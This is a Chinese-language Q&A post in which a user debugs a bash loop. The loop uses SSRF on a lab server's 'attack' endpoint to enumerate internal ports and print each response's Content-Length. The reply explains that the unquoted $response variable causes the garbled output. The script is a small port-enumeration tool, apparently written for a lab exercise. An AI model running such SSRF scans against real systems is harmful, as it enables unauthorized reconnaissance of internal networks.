這個想法是 bash 腳本,它使用“common_ports.txt”檔案中的埠列舉網站的內部埠 (SSRF),并相應地輸出每個埠的埠和“內容長度”。
那是 curl 請求:
$ curl -Is "http://10.10.182.210:8000/attack?port=5000"
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 1035
Server: Werkzeug/0.14.1 Python/3.6.9
Date: Sat, 16 Oct 2021 13:02:27 GMT
為了獲得我使用 grep 的內容長度:
$ curl -Is "http://10.10.182.210:8000/attack?port=5000" | grep "Content-Length"
Content-Length: 1035
直到現在一切正常。但是當我在 vim 中撰寫它以自動化該程序時,我得到了奇怪的輸出。
這是我的完整 bash 腳本:
#!/bin/bash
file="./common_ports.txt"
while IFS= read -r line
do
response=$(curl -Is "http://10.10.182.210:8000/attack?port=$line")
len=$(echo $response | grep "Content-Length:")
echo "$len"
done < "$file"
這是輸出:
$ ./script.sh
Date: Sat, 16 Oct 2021 13:10:35 GMT9-8
Date: Sat, 16 Oct 2021 13:10:36 GMT9-8
^C
它輸出response變數的最后一行。誰能解釋一下為什么??提前致謝!!!
uj5u.com熱心網友回復:
您需要將$response內部雙引號括起來。
len=$(echo "$response" | grep "Content-Length:")
轉載請註明出處,本文鏈接:https://www.uj5u.com/ruanti/321145.html
